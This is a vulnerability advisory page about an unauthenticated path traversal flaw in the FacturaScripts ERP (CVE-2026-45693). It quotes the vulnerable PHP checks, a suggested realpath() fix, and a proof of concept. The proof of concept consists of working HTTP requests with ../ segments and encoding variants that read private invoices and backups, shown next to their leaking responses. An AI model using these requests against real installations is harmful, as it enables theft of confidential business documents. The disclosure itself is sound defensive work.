Skip to main content

FacturaScripts CVE-2026-45693

HIGH
Path Traversal (CWE-22)
2026-07-14 https://github.com/NeoRazorX/facturascripts GHSA-cv65-7cg8-r623
7.5
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
7.5 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
vuln.today AI
7.5 HIGH

Network-reachable, no auth or interaction, and the no-precondition /Plugins/* path justifies AC:L/PR:N; impact is read-only file disclosure so C:H with I:N/A:N.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

Lifecycle Timeline

3
Source Code Evidence Fetched
Jul 14, 2026 - 17:45 vuln.today
Analysis Generated
Jul 14, 2026 - 17:45 vuln.today
CVE Published
Jul 14, 2026 - 17:12 github-advisory
HIGH 7.5

DescriptionGitHub Advisory

Summary

The static file controllers in FacturaScripts decide whether a request is authorized by looking at the URL string instead of the canonical filesystem path. A request that starts with an allow-listed folder name but contains a ../ segment in the middle ends up serving a file from a different directory than the one the URL pretended to point at. This makes any file inside the FacturaScripts installation readable without authentication as long as the file's extension is on the controllers' allow-list (pdf, xlsx, docx, csv, sql, zip, xml, json, xsig, etc.). In practice this leaks the documents the application is specifically designed to protect: customer invoices, supplier invoices, document attachments and database backups stored under MyFiles/Private/ and other non-public subfolders.

The two vulnerable controllers are Core/Controller/Files.php (used by the /Plugins/*, /Core/Assets/*, /Dinamic/Assets/* and /node_modules/* routes) and Core/Controller/Myfiles.php (used by /MyFiles/*). Both share the same root cause: a strpos() / substr() prefix check on the raw URL is treated as proof that the resolved file lives inside an authorized directory.

The /Plugins/* route via Files.php is the cleanest exploit path because Plugins/ is part of every FacturaScripts installation, so no precondition is required. The /MyFiles/* route via Myfiles.php is a second path with the same root cause: when the URL starts with /MyFiles/Public/, the controller exits early and skips the per-file myft token check, which can be combined with ../ to read tokenless files outside Public/.

Tested live on commit de01369 (master, 2026-05-11) and on tag v2026.2, with PHP 8.0.30 on Apache 2.4.56.

Details

Path 1, in Core/Controller/Files.php

Files::__construct concatenates the project folder with the request URL and then runs two safety checks before serving the file:

php
$this->filePath = Tools::folder() . $url;

if (false === is_file($this->filePath)) {
    throw new KernelException('FileNotFound', ...);
}

if (false === $this->isFolderSafe($url)) {
    throw new KernelException('UnsafeFolder', $url);
}

if (false === $this->isFileSafe($this->filePath)) {
    throw new KernelException('UnsafeFile', $url);
}

isFolderSafe() only inspects the URL string:

php
public static function isFolderSafe(string $filePath): bool
{
    $safeFolders = ['node_modules', 'vendor', 'Dinamic', 'Core', 'Plugins', 'MyFiles/Public'];
    foreach ($safeFolders as $folder) {
        if ('/' . $folder === substr($filePath, 0, 1 + strlen($folder))) {
            return true;
        }
    }
    return false;
}

For a request like /Plugins/../MyFiles/Private/invoice-2026-001.pdf, substr($url, 0, 8) equals /Plugins, so isFolderSafe() returns true. The filesystem layer then resolves the .. segment when is_file() runs, so the actual file opened is /MyFiles/Private/invoice-2026-001.pdf. isFileSafe() only checks the trailing extension, which is pdf and on the allow-list, so the file is served.

Path 2, in Core/Controller/Myfiles.php

The dedicated MyFiles handler resolves the path with urldecode() and reproduces the same prefix-based logic to decide whether the per-file myft token is required:

php
$this->filePath = Tools::folder() . urldecode($url);

if (false === is_file($this->filePath)) {
    throw new KernelException('FileNotFound', ...);
}
if (false === $this->isFileSafe($this->filePath)) {
    throw new KernelException('UnsafeFile', $url);
}

// if the folder is MyFiles/Public, then we don't need to check the token
if (strpos($url, '/MyFiles/Public/') === 0) {
    return;
}

$fixedFilePath = substr(urldecode($url), 1);
$token = filter_input(INPUT_GET, 'myft');
if (empty($token) || false === MyFilesToken::validate($fixedFilePath, $token)) {
    throw new KernelException('MyfilesTokenError', $fixedFilePath);
}

A request to /MyFiles/Public/../Private/invoice-2026-001.pdf satisfies strpos($url, '/MyFiles/Public/') === 0, so the controller returns early and skips myft token validation. The .. segment is then resolved by is_file() and readfile() against the real filesystem path inside MyFiles/Private/.

This second path is only exploitable when a MyFiles/Public/ directory exists on disk, which is the case in any installation that has ever published a public asset (company logo, theme file, plugin static resource).

Why this is not the documented "Public folder" behaviour

MyFiles/Public/ is intentionally tokenless for assets that live inside it, and that part is by design. The behaviour shown here is different: the URL appears to point at MyFiles/Public/... but the file ultimately returned lives in MyFiles/Private/. The same file (MyFiles/Private/invoice-2026-001.pdf) is returned with HTTP 403 (Invalid token) when requested directly, and HTTP 200 with the file body when requested through the traversal sequence. The access decision is not consistent with the actual file location, which is the textbook definition of a path traversal flaw.

PoC

The PoC uses one sample invoice planted at MyFiles/Private/invoice-2026-001-ACME.pdf (215 bytes) on a fresh install:

%PDF-FAKE-CONTENT for FacturaScripts PoC
INVOICE: 2026-001
CLIENT: ACME Corporation
TAX ID: B-12345678
AMOUNT: EUR 42,000.00
DUE DATE: 2026-06-15
PAID: 2026-05-09
INTERNAL NOTE: confidential customer financial data

Step 1, control. Direct access without a token is blocked:

http
GET /MyFiles/Private/invoice-2026-001-ACME.pdf HTTP/1.1
Host: 127.0.0.1:8088
HTTP/1.1 403 Forbidden
<title>Invalid token.</title>
<p>The access token for the file MyFiles/Private/invoice-2026-001-ACME.pdf is invalid or has expired</p>

<img width="1584" height="788" alt="01-control-direct-private-file-blocked" src="https://github.com/user-attachments/assets/37d55f79-55ab-4f69-a9e0-827fc39c0b33" />

Step 2, exploit via /Plugins/*. This is the no-precondition path:

http
GET /Plugins/../MyFiles/Private/invoice-2026-001-ACME.pdf HTTP/1.1
Host: 127.0.0.1:8088
HTTP/1.1 200 OK
Content-Length: 215
Content-Type: application/pdf

%PDF-FAKE-CONTENT for FacturaScripts PoC
INVOICE: 2026-001
CLIENT: ACME Corporation
TAX ID: B-12345678
AMOUNT: EUR 42,000.00
DUE DATE: 2026-06-15
PAID: 2026-05-09
INTERNAL NOTE: confidential customer financial data

<img width="1585" height="791" alt="02-exploit-path1-plugins-leak" src="https://github.com/user-attachments/assets/bccab788-a369-49bf-84dd-8f2f74addecf" />

The same file that returned 403 in Step 1 is now returned without authentication. /Core/Assets/* and /Dinamic/Assets/* behave the same way against the same controller; /Plugins/* is used here because the folder is guaranteed to exist.

Step 3, exploit via /MyFiles/Public/*. This path also bypasses the myft token check:

http
GET /MyFiles/Public/../Private/invoice-2026-001-ACME.pdf HTTP/1.1
Host: 127.0.0.1:8088
HTTP/1.1 200 OK
Cache-Control: public, max-age=31536000, immutable
Content-Length: 215
Content-Type: application/pdf

%PDF-FAKE-CONTENT for FacturaScripts PoC
...

<img width="1582" height="789" alt="03-exploit-path2-myfiles-public-token-bypass" src="https://github.com/user-attachments/assets/2f95d0c1-4545-453c-a613-5ed035af7957" />

A quick check shows that several encoding variants of .. also work: %2e%2e, %2E%2E, .%2e, ///../. The flaw lives in the prefix check, not in any specific Apache normalization.

The file is confirmed present on disk:

<img width="1918" height="328" alt="04-lab-evidence-file-on-disk" src="https://github.com/user-attachments/assets/2db5875a-d349-4861-bbdd-8f202eb80d5a" />

Affected request paths
URL patternControllerToken requiredResult
/MyFiles/Private/invoice.pdfMyfilesyes403 (control)
/Plugins/../MyFiles/Private/invoice.pdfFilesn/a200 (leak)
/Core/Assets/../MyFiles/Private/invoice.pdfFilesn/a200 (leak)
/Dinamic/Assets/../MyFiles/Private/invoice.pdfFilesn/a200 (leak)
/MyFiles/Public/../Private/invoice.pdfMyfilesbypassed200 (leak)

Impact

In a real ERP deployment this exposes the documents that the application is specifically designed to keep behind a per-file token:

  • Customer and supplier invoices stored under MyFiles/Private/
  • Document attachments uploaded through WidgetFile and DocFilesTrait (MyFiles/<filename>)
  • Database backups exported with .sql
  • Cached or temporary business data under MyFiles/Cache/ and MyFiles/Tmp/

.php files are not on the extension allow-list, so the flaw does not lead to remote code execution. Files outside the FacturaScripts installation are rejected by Apache's URI normalization (AH10244 invalid URI path), so the leak is bounded to the application directory tree.

Suggested Fix

Both controllers should resolve the requested path to its canonical form with realpath() and verify that the canonical path is inside an allow-listed directory before serving the file or skipping the token check. Example for Files::__construct:

php
$this->filePath = Tools::folder() . $url;

if (false === is_file($this->filePath)) {
    throw new KernelException('FileNotFound', ...);
}

$realPath = realpath($this->filePath);
$base = realpath(Tools::folder());
if ($realPath === false || strpos($realPath, $base . DIRECTORY_SEPARATOR) !== 0) {
    throw new KernelException('UnsafeFolder', $url);
}

$safeFolders = ['node_modules', 'vendor', 'Dinamic', 'Core', 'Plugins', 'MyFiles' . DIRECTORY_SEPARATOR . 'Public'];
$relative = substr($realPath, strlen($base) + 1);
$allowed = false;
foreach ($safeFolders as $folder) {
    if (strpos($relative, $folder . DIRECTORY_SEPARATOR) === 0) {
        $allowed = true;
        break;
    }
}
if (!$allowed) {
    throw new KernelException('UnsafeFolder', $url);
}

The same pattern applies to Myfiles::__construct: compare the canonical resolved path against realpath(Tools::folder() . '/MyFiles/Public') before skipping the myft token check.

Affected Versions

Confirmed on the current master branch (commit de01369) and on the latest tagged release (v2026.2).

AnalysisAI

Unauthenticated arbitrary file read in FacturaScripts (all versions through v2026.2) lets remote attackers retrieve protected documents by abusing the static file controllers Files.php and Myfiles.php, which authorize requests on the raw URL prefix rather than the resolved filesystem path. A request such as /Plugins/../MyFiles/Private/invoice.pdf passes the prefix allow-list yet resolves to a private file, leaking customer/supplier invoices, attachments, and .sql database backups. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Reach FacturaScripts web root unauthenticated
Delivery
Craft URL with allow-listed prefix plus ../ traversal
Exploit
Bypass prefix-based folder/token check
Execution
Server resolves path into MyFiles/Private
Impact
Read invoices, attachments, and .sql backups

Vulnerability AssessmentAI

Exploitation For the primary path via Files.php, no special conditions - remote unauthenticated read of any allow-listed-extension file against a default FacturaScripts installation, because the /Plugins/ (and /Core/Assets/, /Dinamic/Assets/) folders ship with every install. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N, base 7.5) is internally consistent with the description: network-reachable, low complexity, no privileges, no user interaction, high confidentiality impact only, with no integrity or availability impact - matching an unauthenticated read-only disclosure. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An unauthenticated attacker who can reach the FacturaScripts web interface sends GET /Plugins/../MyFiles/Private/invoice-2026-001-ACME.pdf; the prefix check sees '/Plugins', authorizes the request, and the server returns the private invoice (HTTP 200) that direct access would have blocked with a 403 token error. By iterating filenames and allow-listed extensions, the attacker harvests invoices, attachments, and .sql database backups. …
Remediation No vendor-released patch identified at time of analysis (advisory reports 'fixed in: None'), so apply the advisory's own suggested code fix or compensating controls. … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 24 hours: identify all FacturaScripts installations and their versions; restrict network access to the /Plugins/MyFiles directory using firewall rules; enable access logging and monitor for requests containing ../ patterns. …

Sign in for detailed remediation steps and compensating controls.

Threat intelligence, references, and detailed analysis are available after sign-in.

More in PHP

View all
CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

CVE-2024-46506 CRITICAL POC
10.0 May 13

NetAlertX (formerly PiAlert) versions 23.01.14 through 24.x before 24.10.12 allow unauthenticated command injection thro

CVE-2024-8353 CRITICAL POC
9.8 Sep 28

The GiveWP - Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to PHP Object Injection in all

Share

CVE-2026-45693 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy